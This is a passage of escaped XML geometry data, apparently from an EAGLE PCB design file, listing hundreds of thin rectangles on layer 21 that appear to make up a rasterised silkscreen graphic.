layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1425\" x2=\"0.2908\" y2=\"2.1469\" layer=\"21\"/>\n<rectangle x1=\"0.6683\" y1=\"2.1425\" x2=\"1.845\" y2=\"2.1469\" layer=\"21\"/>\n<rectangle x1=\"-1.925\" y1=\"2.1469\" x2=\"-0.7483\" y2=\"2.1514\" layer=\"21\"/>\n<rectangle x1=\"-0.3753\" y1=\"2.1469\" x2=\"-0.1665\" y2=\"2.1514\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1469\" x2=\"0.2908\" y2=\"2.1514\" layer=\"21\"/>\n<rectangle x1=\"0.6638\" y1=\"2.1469\" x2=\"1.8406\" y2=\"2.1514\" layer=\"21\"/>\n<rectangle x1=\"-1.9161\" y1=\"2.1514\" x2=\"-0.7483\" y2=\"2.1558\" layer=\"21\"/>\n<rectangle x1=\"-0.3708\" y1=\"2.1514\" x2=\"-0.1665\" y2=\"2.1558\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1514\" x2=\"0.2864\" y2=\"2.1558\" layer=\"21\"/>\n<rectangle x1=\"0.6638\" y1=\"2.1514\" x2=\"1.8317\" y2=\"2.1558\" layer=\"21\"/>\n<rectangle x1=\"-1.9072\" y1=\"2.1558\" x2=\"-0.7438\" y2=\"2.1603\" layer=\"21\"/>\n<rectangle x1=\"-0.3708\" y1=\"2.1558\" x2=\"-0.1665\" y2=\"2.1603\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1558\" x2=\"0.2864\" y2=\"2.1603\" layer=\"21\"/>\n<rectangle x1=\"0.6594\" y1=\"2.1558\" x2=\"1.8228\" y2=\"2.1603\" layer=\"21\"/>\n<rectangle x1=\"-1.8983\" y1=\"2.1603\" x2=\"-0.7394\" y2=\"2.1647\" layer=\"21\"/>\n<rectangle x1=\"-0.3664\" y1=\"2.1603\" x2=\"-0.1665\" y2=\"2.1647\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1603\" x2=\"0.2819\" y2=\"2.1647\" layer=\"21\"/>\n<rectangle x1=\"0.6549\" y1=\"2.1603\" x2=\"1.8139\" y2=\"2.1647\" layer=\"21\"/>\n<rectangle x1=\"-1.8939\" y1=\"2.1647\" x2=\"-0.7394\" y2=\"2.1692\" layer=\"21\"/>\n<rectangle x1=\"-0.3664\" y1=\"2.1647\" x2=\"-0.1665\" y2=\"2.1692\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1647\" x2=\"0.2819\" y2=\"2.1692\" layer=\"21\"/>\n<rectangle x1=\"0.6549\" y1=\"2.1647\" x2=\"1.8095\" y2=\"2.1692\" layer=\"21\"/>\n<rectangle x1=\"-1.885\" y1=\"2.1692\" x2=\"-0.7349\" y2=\"2.1736\" layer=\"21\"/>\n<rectangle x1=\"-0.3619\" y1=\"2.1692\" x2=\"-0.1665\" y2=\"2.1736\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1692\" x2=\"0.2775\" y2=\"2.1736\" layer=\"21\"/>\n<rectangle x1=\"0.6505\" y1=\"2.1692\" x2=\"1.8006\" y2=\"2.1736\" layer=\"21\"/>\n<rectangle x1=\"-1.8761\" y1=\"2.1736\" x2=\"-0.7349\" y2=\"2.178\" layer=\"21\"/>\n<rectangle x1=\"-0.3575\" y1=\"2.1736\" x2=\"-0.1665\" y2=\"2.178\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1736\" x2=\"0.2731\" y2=\"2.178\" layer=\"21\"/>\n<rectangle x1=\"0.6505\" y1=\"2.1736\" x2=\"1.7917\" y2=\"2.178\" layer=\"21\"/>\n<rectangle x1=\"-1.8673\" y1=\"2.178\" x2=\"-0.7305\" y2=\"2.1825\" layer=\"21\"/>\n<rectangle x1=\"-0.3575\" y1=\"2.178\" x2=\"-0.1665\" y2=\"2.1825\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.178\" x2=\"0.2731\" y2=\"2.1825\" layer=\"21\"/>\n<rectangle x1=\"0.6461\" y1=\"2.178\" x2=\"1.7828\" y2=\"2.1825\" layer=\"21\"/>\n<rectangle x1=\"-1.8628\" y1=\"2.1825\" x2=\"-0.7261\" y2=\"2.1869\" layer=\"21\"/>\n<rectangle x1=\"-0.3531\" y1=\"2.1825\" x2=\"-0.1665\" y2=\"2.1869\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1825\" x2=\"0.2686\" y2=\"2.1869\" layer=\"21\"/>\n<rectangle x1=\"0.6416\" y1=\"2.1825\" x2=\"1.7784\" y2=\"2.1869\" layer=\"21\"/>\n<rectangle x1=\"-1.8539\" y1=\"2.1869\" x2=\"-0.7261\" y2=\"2.1914\" layer=\"21\"/>\n<rectangle x1=\"-0.3531\" y1=\"2.1869\" x2=\"-0.1665\" y2=\"2.1914\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1869\" x2=\"0.2686\" y2=\"2.1914\" layer=\"21\"/>\n<rectangle x1=\"0.6416\" y1=\"2.1869\" x2=\"1.7695\" y2=\"2.1914\" layer=\"21\"/>\n<rectangle x1=\"-1.8451\" y1=\"2.1914\" x2=\"-0.7216\" y2=\"2.1958\" layer=\"21\"/>\n<rectangle x1=\"-0.3486\" y1=\"2.1914\" x2=\"-0.1665\" y2=\"2.1958\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1914\" x2=\"0.2642\" y2=\"2.1958\" layer=\"21\"/>\n<rectangle x1=\"0.6372\" y1=\"2.1914\" x2=\"1.7606\" y2=\"2.1958\" layer=\"21\"/>\n<rectangle x1=\"-1.8406\" y1=\"2.1958\" x2=\"-0.7216\" y2=\"2.2002\" layer=\"21\"/>\n<rectangle x1=\"-0.3486\" y1=\"2.1958\" x2=\"-0.1665\" y2=\"2.2002\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1958\" x2=\"0.2597\" y2=\"2.2002\" layer=\"21\"/>\n<rectangle x1=\"0.6372\" y1=\"2.1958\" x2=\"1.7562\" y2=\"2.2002\" layer=\"21\"/>\n<rectangle x1=\"-1.8317\" y1=\"2.2002\" x2=\"-0.7172\" y2=\"2.2047\" layer=\"21\"/>\n<rectangle x1=\"-0.3442\" y1=\"2.2002\" x2=\"-0.1665\" y2=\"2.2047\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2002\" x2=\"0.2597\" y2=\"2.2047\" layer=\"21\"/>\n<rectangle x1=\"0.6327\" y1=\"2.2002\" x2=\"1.7473\" y2=\"2.2047\" layer=\"21\"/>\n<rectangle x1=\"-1.8229\" y1=\"2.2047\" x2=\"-0.7172\" y2=\"2.2091\" layer=\"21\"/>\n<rectangle x1=\"-0.3397\" y1=\"2.2047\" x2=\"-0.1665\" y2=\"2.2091\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2047\" x2=\"0.2553\" y2=\"2.2091\" layer=\"21\"/>\n<rectangle x1=\"0.6327\" y1=\"2.2047\" x2=\"1.7384\" y2=\"2.2091\" layer=\"21\"/>\n<rectangle x1=\"-1.814\" y1=\"2.2091\" x2=\"-0.7127\" y2=\"2.2136\" layer=\"21\"/>\n<rectangle x1=\"-0.3397\" y1=\"2.2091\" x2=\"-0.1665\" y2=\"2.2136\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2091\" x2=\"0.2553\" y2=\"2.2136\" layer=\"21\"/>\n<rectangle x1=\"0.6283\" y1=\"2.2091\" x2=\"1.7295\" y2=\"2.2136\" layer=\"21\"/>\n<rectangle x1=\"-1.8095\" y1=\"2.2136\" x2=\"-0.7083\" y2=\"2.218\" layer=\"21\"/>\n<rectangle x1=\"-0.3353\" y1=\"2.2136\" x2=\"-0.1665\" y2=\"2.218\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2136\" x2=\"0.2509\" y2=\"2.218\" layer=\"21\"/>\n<rectangle x1=\"0.6239\" y1=\"2.2136\" x2=\"1.7251\" y2=\"2.218\" layer=\"21\"/>\n<rectangle x1=\"-1.8007\" y1=\"2.218\" x2=\"-0.7083\" y2=\"2.2224\" layer=\"21\"/>\n<rectangle x1=\"-0.3353\" y1=\"2.218\" x2=\"-0.1665\" y2=\"2.2224\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.218\" x2=\"0.2509\" y2=\"2.2224\" layer=\"21\"/>\n<rectangle x1=\"0.6239\" y1=\"2.218\" x2=\"1.7162\" y2=\"2.2224\" layer=\"21\"/>\n<rectangle x1=\"-1.7918\" y1=\"2.2224\" x2=\"-0.7038\" y2=\"2.2269\" layer=\"21\"/>\n<rectangle x1=\"-0.3308\" y1=\"2.2224\" x2=\"-0.1665\" y2=\"2.2269\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2224\" x2=\"0.2464\" y2=\"2.2269\" layer=\"21\"/>\n<rectangle x1=\"0.6194\" y1=\"2.2224\" x2=\"1.7073\" y2=\"2.2269\" layer=\"21\"/>\n<rectangle x1=\"-1.7829\" y1=\"2.2269\" x2=\"-0.7038\" y2=\"2.2313\" layer=\"21\"/>\n<rectangle x1=\"-0.3264\" y1=\"2.2269\" x2=\"-0.1665\" y2=\"2.2313\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2269\" x2=\"0.242\" y2=\"2.2313\" layer=\"21\"/>\n<rectangle x1=\"0.6194\" y1=\"2.2269\" x2=\"1.6985\" y2=\"2.2313\" layer=\"21\"/>\n<rectangle x1=\"-1.7785\" y1=\"2.2313\" x2=\"-0.6994\" y2=\"2.2358\" layer=\"21\"/>\n<rectangle x1=\"-0.3264\" y1=\"2.2313\" x2=\"-0.1665\" y2=\"2.2358\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2313\" x2=\"0.242\" y2=\"2.2358\" layer=\"21\"/>\n<rectangle x1=\"0.615\" y1=\"2.2313\" x2=\"1.694\" y2=\"2.2358\" layer=\"21\"/>\n<rectangle x1=\"-1.7696\" y1=\"2.2358\" x2=\"-0.6994\" y2=\"2.2402\" layer=\"21\"/>\n<rectangle x1=\"-0.322\" y1=\"2.2358\" x2=\"-0.1665\" y2=\"2.2402\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2358\" x2=\"0.2375\" y2=\"2.2402\" layer=\"21\"/>\n<rectangle x1=\"0.615\" y1=\"2.2358\" x2=\"1.6851\" y2=\"2.2402\" layer=\"21\"/>\n<rectangle x1=\"-1.7607\" y1=\"2.2402\" x2=\"-0.695\" y2=\"2.2446\" layer=\"21\"/>\n<rectangle x1=\"-0.322\" y1=\"2.2402\" x2=\"-0.1665\" y2=\"2.2446\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2402\" x2=\"0.2375\" y2=\"2.2446\" layer=\"21\"/>\n<rectangle x1=\"0.6105\" y1=\"2.2402\" x2=\"1.6762\" y2=\"2.2446\" layer=\"21\"/>\n<rectangle x1=\"-1.7518\" y1=\"2.2446\" x2=\"-0.6905\" y2=\"2.2491\" layer=\"21\"/>\n<rectangle x1=\"-0.3175\" y1=\"2.2446\" x2=\"-0.1665\" y2=\"2.2491\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2446\" x2=\"0.2331\" y2=\"2.2491\" layer=\"21\"/>\n<rectangle x1=\"0.6061\" y1=\"2.2446\" x2=\"1.6718\" y2=\"2.2491\" layer=\"21\"/>\n<rectangle x1=\"-1.7474\" y1=\"2.2491\" x2=\"-0.6905\" y2=\"2.2535\" layer=\"21\"/>\n<rectangle x1=\"-0.3175\" y1=\"2.2491\" x2=\"-0.1665\" y2=\"2.2535\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2491\" x2=\"0.2331\" y2=\"2.2535\" layer=\"21\"/>\n<rectangle x1=\"0.6061\" y1=\"2.2491\" x2=\"1.6629\" y2=\"2.2535\" layer=\"21\"/>\n<rectangle x1=\"-1.7385\" y1=\"2.2535\" x2=\"-0.6861\" y2=\"2.258\" layer=\"21\"/>\n<rectangle x1=\"-0.3131\" y1=\"2.2535\" x2=\"-0.1665\" y2=\"2.258\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2535\" x2=\"0.2287\" y2=\"2.258\" layer=\"21\"/>\n<rectangle x1=\"0.6017\" y1=\"2.2535\" x2=\"1.6541\" y2=\"2.258\" layer=\"21\"/>\n<rectangle x1=\"-1.7296\" y1=\"2.258\" x2=\"-0.6861\" y2=\"2.2624\" layer=\"21\"/>\n<rectangle x1=\"-0.3086\" y1=\"2.258\" x2=\"-0.1665\" y2=\"2.2624\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.258\" x2=\"0.2242\" y2=\"2.2624\" layer=\"21\"/>\n<rectangle x1=\"0.6017\" y1=\"2.258\" x2=\"1.6452\" y2=\"2.2624\" layer=\"21\"/>\n<rectangle x1=\"-1.7252\" y1=\"2.2624\" x2=\"-0.6816\" y2=\"2.2668\" layer=\"21\"/>\n<rectangle x1=\"-0.3086\" y1=\"2.2624\" x2=\"-0.1665\" y2=\"2.2668\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2624\" x2=\"0.2242\" y2=\"2.2668\" layer=\"21\"/>\n<rectangle x1=\"0.5972\" y1=\"2.2624\" x2=\"1.6407\" y2=\"2.2668\" layer=\"21\"/>\n<rectangle x1=\"-1.7163\" y1=\"2.2668\" x2=\"-0.6816\" y2=\"2.2713\" layer=\"21\"/>\n<rectangle x1=\"-0.3042\" y1=\"2.2668\" x2=\"-0.1665\" y2=\"2.2713\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2668\" x2=\"0.2198\" y2=\"2.2713\" layer=\"21\"/>\n<rectangle x1=\"0.5972\" y1=\"2.2668\" x2=\"1.6319\" y2=\"2.2713\" layer=\"21\"/>\n<rectangle x1=\"-1.7074\" y1=\"2.2713\" x2=\"-0.6772\" y2=\"2.2757\" layer=\"21\"/>\n<rectangle x1=\"-0.3042\" y1=\"2.2713\" x2=\"-0.1665\" y2=\"2.2757\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2713\" x2=\"0.2198\" y2=\"2.2757\" layer=\"21\"/>\n<rectangle x1=\"0.5928\" y1=\"2.2713\" x2=\"1.623\" y2=\"2.2757\" layer=\"21\"/>\n<rectangle x1=\"-1.6985\" y1=\"2.2757\" x2=\"-0.6728\" y2=\"2.2802\" layer=\"21\"/>\n<rectangle x1=\"-0.2998\" y1=\"2.2757\" x2=\"-0.1665\" y2=\"2.2802\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2757\" x2=\"0.2153\" y2=\"2.2802\" layer=\"21\"/>\n<rectangle x1=\"0.5883\" y1=\"2.2757\" x2=\"1.6141\" y2=\"2.2802\" layer=\"21\"/>\n<rectangle x1=\"-1.6941\" y1=\"2.2802\" x2=\"-0.6728\" y2=\"2.2846\" layer=\"21\"/>\n<rectangle x1=\"-0.2998\" y1=\"2.2802\" x2=\"-0.1665\" y2=\"2.2846\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2802\" x2=\"0.2109\" y2=\"2.2846\" layer=\"21\"/>\n<rectangle x1=\"0.5883\" y1=\"2.2802\" x2=\"1.6096\" y2=\"2.2846\" layer=\"21\"/>\n<rectangle x1=\"-1.6852\" y1=\"2.2846\" x2=\"-0.6683\" y2=\"2.289\" layer=\"21\"/>\n<rectangle x1=\"-0.2953\" y1=\"2.2846\" x2=\"-0.1665\" y2=\"2.289\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2846\" x2=\"0.2109\" y2=\"2.289\" layer=\"21\"/>\n<rectangle x1=\"0.5839\" y1=\"2.2846\" x2=\"1.6008\" y2=\"2.289\" layer=\"21\"/>\n<rectangle x1=\"-1.6763\" y1=\"2.289\" x2=\"-0.6683\" y2=\"2.2935\" layer=\"21\"/>\n<rectangle x1=\"-0.2909\" y1=\"2.289\" x2=\"-0.1665\" y2=\"2.2935\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.289\" x2=\"0.2065\" y2=\"2.2935\" layer=\"21\"/>\n<rectangle x1=\"0.5839\" y1=\"2.289\" x2=\"1.5919\" y2=\"2.2935\" layer=\"21\"/>\n<rectangle x1=\"-1.6674\" y1=\"2.2935\" x2=\"-0.6639\" y2=\"2.2979\" layer=\"21\"/>\n<rectangle x1=\"-0.2909\" y1=\"2.2935\" x2=\"-0.1665\" y2=\"2.2979\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2935\" x2=\"0.2065\" y2=\"2.2979\" layer=\"21\"/>\n<rectangle x1=\"0.5795\" y1=\"2.2935\" x2=\"1.583\" y2=\"2.2979\" layer=\"21\"/>\n<rectangle x1=\"-1.663\" y1=\"2.2979\" x2=\"-0.6594\" y2=\"2.3024\" layer=\"21\"/>\n<rectangle x1=\"-0.2864\" y1=\"2.2979\" x2=\"-0.1665\" y2=\"2.3024\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.2979\" x2=\"0.202\" y2=\"2.3024\" layer=\"21\"/>\n<rectangle x1=\"0.575\" y1=\"2.2979\" x2=\"1.5786\" y2=\"2.3024\" layer=\"21\"/>\n<rectangle x1=\"-1.6541\" y1=\"2.3024\" x2=\"-0.6594\" y2=\"2.3068\" layer=\"21\"/>\n<rectangle x1=\"-0.2864\" y1=\"2.3024\" x2=\"-0.1665\" y2=\"2.3068\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3024\" x2=\"0.202\" y2=\"2.3068\" layer=\"21\"/>\n<rectangle x1=\"0.575\" y1=\"2.3024\" x2=\"1.5697\" y2=\"2.3068\" layer=\"21\"/>\n<rectangle x1=\"-1.6452\" y1=\"2.3068\" x2=\"-0.655\" y2=\"2.3112\" layer=\"21\"/>\n<rectangle x1=\"-0.282\" y1=\"2.3068\" x2=\"-0.1665\" y2=\"2.3112\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3068\" x2=\"0.1976\" y2=\"2.3112\" layer=\"21\"/>\n<rectangle x1=\"0.5706\" y1=\"2.3068\" x2=\"1.5608\" y2=\"2.3112\" layer=\"21\"/>\n<rectangle x1=\"-1.6364\" y1=\"2.3112\" x2=\"-0.655\" y2=\"2.3157\" layer=\"21\"/>\n<rectangle x1=\"-0.282\" y1=\"2.3112\" x2=\"-0.1665\" y2=\"2.3157\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3112\" x2=\"0.1931\" y2=\"2.3157\" layer=\"21\"/>\n<rectangle x1=\"0.5706\" y1=\"2.3112\" x2=\"1.5564\" y2=\"2.3157\" layer=\"21\"/>\n<rectangle x1=\"-1.6319\" y1=\"2.3157\" x2=\"-0.6506\" y2=\"2.3201\" layer=\"21\"/>\n<rectangle x1=\"-0.2776\" y1=\"2.3157\" x2=\"-0.1665\" y2=\"2.3201\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3157\" x2=\"0.1931\" y2=\"2.3201\" layer=\"21\"/>\n<rectangle x1=\"0.5661\" y1=\"2.3157\" x2=\"1.5475\" y2=\"2.3201\" layer=\"21\"/>\n<rectangle x1=\"-1.623\" y1=\"2.3201\" x2=\"-0.6506\" y2=\"2.3246\" layer=\"21\"/>\n<rectangle x1=\"-0.2731\" y1=\"2.3201\" x2=\"-0.1665\" y2=\"2.3246\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3201\" x2=\"0.1887\" y2=\"2.3246\" layer=\"21\"/>\n<rectangle x1=\"0.5661\" y1=\"2.3201\" x2=\"1.5386\" y2=\"2.3246\" layer=\"21\"/>\n<rectangle x1=\"-1.6142\" y1=\"2.3246\" x2=\"-0.6461\" y2=\"2.329\" layer=\"21\"/>\n<rectangle x1=\"-0.2731\" y1=\"2.3246\" x2=\"-0.1665\" y2=\"2.329\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3246\" x2=\"0.1887\" y2=\"2.329\" layer=\"21\"/>\n<rectangle x1=\"0.5617\" y1=\"2.3246\" x2=\"1.5297\" y2=\"2.329\" layer=\"21\"/>\n<rectangle x1=\"-1.6097\" y1=\"2.329\" x2=\"-0.6417\" y2=\"2.3335\" layer=\"21\"/>\n<rectangle x1=\"-0.2687\" y1=\"2.329\" x2=\"-0.1665\" y2=\"2.3335\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.329\" x2=\"0.1843\" y2=\"2.3335\" layer=\"21\"/>\n<rectangle x1=\"0.5573\" y1=\"2.329\" x2=\"1.5253\" y2=\"2.3335\" layer=\"21\"/>\n<rectangle x1=\"-1.6008\" y1=\"2.3335\" x2=\"-0.6417\" y2=\"2.3379\" layer=\"21\"/>\n<rectangle x1=\"-0.2687\" y1=\"2.3335\" x2=\"-0.1665\" y2=\"2.3379\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3335\" x2=\"0.1843\" y2=\"2.3379\" layer=\"21\"/>\n<rectangle x1=\"0.5573\" y1=\"2.3335\" x2=\"1.5164\" y2=\"2.3379\" layer=\"21\"/>\n<rectangle x1=\"-1.5919\" y1=\"2.3379\" x2=\"-0.6372\" y2=\"2.3423\" layer=\"21\"/>\n<rectangle x1=\"-0.2642\" y1=\"2.3379\" x2=\"-0.1665\" y2=\"2.3423\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3379\" x2=\"0.1798\" y2=\"2.3423\" layer=\"21\"/>\n<rectangle x1=\"0.5528\" y1=\"2.3379\" x2=\"1.5075\" y2=\"2.3423\" layer=\"21\"/>\n<rectangle x1=\"-1.5831\" y1=\"2.3423\" x2=\"-0.6372\" y2=\"2.3468\" layer=\"21\"/>\n<rectangle x1=\"-0.2598\" y1=\"2.3423\" x2=\"-0.1665\" y2=\"2.3468\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3423\" x2=\"0.1754\" y2=\"2.3468\" layer=\"21\"/>\n<rectangle x1=\"0.5528\" y1=\"2.3423\" x2=\"1.4986\" y2=\"2.3468\" layer=\"21\"/>\n<rectangle x1=\"-1.5786\" y1=\"2.3468\" x2=\"-0.6328\" y2=\"2.3512\" layer=\"21\"/>\n<rectangle x1=\"-0.2598\" y1=\"2.3468\" x2=\"-0.1665\" y2=\"2.3512\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3468\" x2=\"0.1754\" y2=\"2.3512\" layer=\"21\"/>\n<rectangle x1=\"0.5484\" y1=\"2.3468\" x2=\"1.4942\" y2=\"2.3512\" layer=\"21\"/>\n<rectangle x1=\"-1.5697\" y1=\"2.3512\" x2=\"-0.6328\" y2=\"2.3557\" layer=\"21\"/>\n<rectangle x1=\"-0.2554\" y1=\"2.3512\" x2=\"-0.1665\" y2=\"2.3557\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3512\" x2=\"0.1709\" y2=\"2.3557\" layer=\"21\"/>\n<rectangle x1=\"0.5484\" y1=\"2.3512\" x2=\"1.4853\" y2=\"2.3557\" layer=\"21\"/>\n<rectangle x1=\"-1.5609\" y1=\"2.3557\" x2=\"-0.6284\" y2=\"2.3601\" layer=\"21\"/>\n<rectangle x1=\"-0.2554\" y1=\"2.3557\" x2=\"-0.1665\" y2=\"2.3601\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3557\" x2=\"0.1709\" y2=\"2.3601\" layer=\"21\"/>\n<rectangle x1=\"0.5439\" y1=\"2.3557\" x2=\"1.4764\" y2=\"2.3601\" layer=\"21\"/>\n<rectangle x1=\"-1.552\" y1=\"2.3601\" x2=\"-0.6239\" y2=\"2.3645\" layer=\"21\"/>\n<rectangle x1=\"-0.2509\" y1=\"2.3601\" x2=\"-0.1665\" y2=\"2.3645\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3601\" x2=\"0.1665\" y2=\"2.3645\" layer=\"21\"/>\n<rectangle x1=\"0.5395\" y1=\"2.3601\" x2=\"1.4676\" y2=\"2.3645\" layer=\"21\"/>\n<rectangle x1=\"-1.5475\" y1=\"2.3645\" x2=\"-0.6239\" y2=\"2.369\" layer=\"21\"/>\n<rectangle x1=\"-0.2509\" y1=\"2.3645\" x2=\"-0.1665\" y2=\"2.369\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3645\" x2=\"0.1665\" y2=\"2.369\" layer=\"21\"/>\n<rectangle x1=\"0.5395\" y1=\"2.3645\" x2=\"1.4631\" y2=\"2.369\" layer=\"21\"/>\n<rectangle x1=\"-1.5387\" y1=\"2.369\" x2=\"-0.6195\" y2=\"2.3734\" layer=\"21\"/>\n<rectangle x1=\"-0.2465\" y1=\"2.369\" x2=\"-0.1665\" y2=\"2.3734\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.369\" x2=\"0.162\" y2=\"2.3734\" layer=\"21\"/>\n<rectangle x1=\"0.535\" y1=\"2.369\" x2=\"1.4542\" y2=\"2.3734\" layer=\"21\"/>\n<rectangle x1=\"-1.5298\" y1=\"2.3734\" x2=\"-0.6195\" y2=\"2.3778\" layer=\"21\"/>\n<rectangle x1=\"-0.242\" y1=\"2.3734\" x2=\"-0.1665\" y2=\"2.3778\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3734\" x2=\"0.1576\" y2=\"2.3778\" layer=\"21\"/>\n<rectangle x1=\"0.535\" y1=\"2.3734\" x2=\"1.4454\" y2=\"2.3778\" layer=\"21\"/>\n<rectangle x1=\"-1.5253\" y1=\"2.3778\" x2=\"-0.615\" y2=\"2.3823\" layer=\"21\"/>\n<rectangle x1=\"-0.242\" y1=\"2.3778\" x2=\"-0.1665\" y2=\"2.3823\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3778\" x2=\"0.1576\" y2=\"2.3823\" layer=\"21\"/>\n<rectangle x1=\"0.5306\" y1=\"2.3778\" x2=\"1.4409\" y2=\"2.3823\" layer=\"21\"/>\n<rectangle x1=\"-1.5165\" y1=\"2.3823\" x2=\"-0.615\" y2=\"2.3867\" layer=\"21\"/>\n<rectangle x1=\"-0.2376\" y1=\"2.3823\" x2=\"-0.1665\" y2=\"2.3867\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3823\" x2=\"0.1532\" y2=\"2.3867\" layer=\"21\"/>\n<rectangle x1=\"0.5306\" y1=\"2.3823\" x2=\"1.432\" y2=\"2.3867\" layer=\"21\"/>\n<rectangle x1=\"-1.5076\" y1=\"2.3867\" x2=\"-0.6106\" y2=\"2.3912\" layer=\"21\"/>\n<rectangle x1=\"-0.2376\" y1=\"2.3867\" x2=\"-0.1665\" y2=\"2.3912\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3867\" x2=\"0.1532\" y2=\"2.3912\" layer=\"21\"/>\n<rectangle x1=\"0.5262\" y1=\"2.3867\" x2=\"1.4231\" y2=\"2.3912\" layer=\"21\"/>\n<rectangle x1=\"-1.4987\" y1=\"2.3912\" x2=\"-0.6062\" y2=\"2.3956\" layer=\"21\"/>\n<rectangle x1=\"-0.2332\" y1=\"2.3912\" x2=\"-0.1665\" y2=\"2.3956\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3912\" x2=\"0.1487\" y2=\"2.3956\" layer=\"21\"/>\n<rectangle x1=\"0.5217\" y1=\"2.3912\" x2=\"1.4143\" y2=\"2.3956\" layer=\"21\"/>\n<rectangle x1=\"-1.4943\" y1=\"2.3956\" x2=\"-0.6062\" y2=\"2.4001\" layer=\"21\"/>\n<rectangle x1=\"-0.2332\" y1=\"2.3956\" x2=\"-0.1665\" y2=\"2.4001\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.3956\" x2=\"0.1443\" y2=\"2.4001\" layer=\"21\"/>\n<rectangle x1=\"0.5217\" y1=\"2.3956\" x2=\"1.4098\" y2=\"2.4001\" layer=\"21\"/>\n<rectangle x1=\"-1.4854\" y1=\"2.4001\" x2=\"-0.6017\" y2=\"2.4045\" layer=\"21\"/>\n<rectangle x1=\"-0.2287\" y1=\"2.4001\" x2=\"-0.1665\" y2=\"2.4045\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4001\" x2=\"0.1443\" y2=\"2.4045\" layer=\"21\"/>\n<rectangle x1=\"0.5173\" y1=\"2.4001\" x2=\"1.4009\" y2=\"2.4045\" layer=\"21\"/>\n<rectangle x1=\"-1.4765\" y1=\"2.4045\" x2=\"-0.6017\" y2=\"2.4089\" layer=\"21\"/>\n<rectangle x1=\"-0.2243\" y1=\"2.4045\" x2=\"-0.1665\" y2=\"2.4089\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4045\" x2=\"0.1398\" y2=\"2.4089\" layer=\"21\"/>\n<rectangle x1=\"0.5173\" y1=\"2.4045\" x2=\"1.3921\" y2=\"2.4089\" layer=\"21\"/>\n<rectangle x1=\"-1.4676\" y1=\"2.4089\" x2=\"-0.5973\" y2=\"2.4134\" layer=\"21\"/>\n<rectangle x1=\"-0.2243\" y1=\"2.4089\" x2=\"-0.1665\" y2=\"2.4134\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4089\" x2=\"0.1398\" y2=\"2.4134\" layer=\"21\"/>\n<rectangle x1=\"0.5128\" y1=\"2.4089\" x2=\"1.3832\" y2=\"2.4134\" layer=\"21\"/>\n<rectangle x1=\"-1.4632\" y1=\"2.4134\" x2=\"-0.5928\" y2=\"2.4178\" 